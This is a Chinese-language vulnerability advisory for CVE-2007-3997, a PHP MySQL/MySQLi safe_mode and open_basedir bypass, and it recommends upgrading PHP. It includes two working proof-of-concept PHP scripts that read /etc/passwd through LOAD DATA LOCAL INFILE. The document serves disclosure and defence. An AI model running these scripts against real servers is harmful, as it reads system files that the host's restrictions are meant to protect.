PHP MySQL/MySQLi扩展绕过安全限制漏洞
发布日期:2007-08-31
更新日期:2007-09-03
受影响系统:PHP PHP < 5.2.4
PHP PHP < 4.4.8
不受影响系统:PHP PHP 5.2.4
PHP PHP 4.4.8
描述:
CVE(CAN) ID:
CVE-2007-3997
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的MySQL和MySQLi扩展在处理畸形数据的SQL请求时,远程攻击者可能利用此漏洞执行SQL注入攻击。
PHP的MySQL和MySQLi扩展没有正确地处理包含有LOCAL INFILE的SQL查询请求,如果远程攻击者向安装了这些扩展的服务器提交了恶意SQL请求的话,就可以绕过open_basedir和safe_mode安全限制,执行非授权操作。请注意不要依赖于共享主机MySQLd local-infile=0选项,因为这个选项是服务器选项,因此不会影响客户端。
<*来源:Mattias Bengtsson (
mattias@secweb.se)
Tekno pHReak (
tek@superw00t.com)
链接:
http://secunia.com/advisories/26642/
http://secweb.se/en/advisories/php-mysql-safe-mode-bypass-vulnerability/
http://www.php.net/releases/5_2_4.php
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
MySQL:
<?php
file_get_contents('/etc/passwd');
$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);
?>
MySQLi:
<?php
function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}
$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();
?>
建议:
厂商补丁:
PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.php.net/downloads.php浏览次数:3015
严重程度:0(网友投票)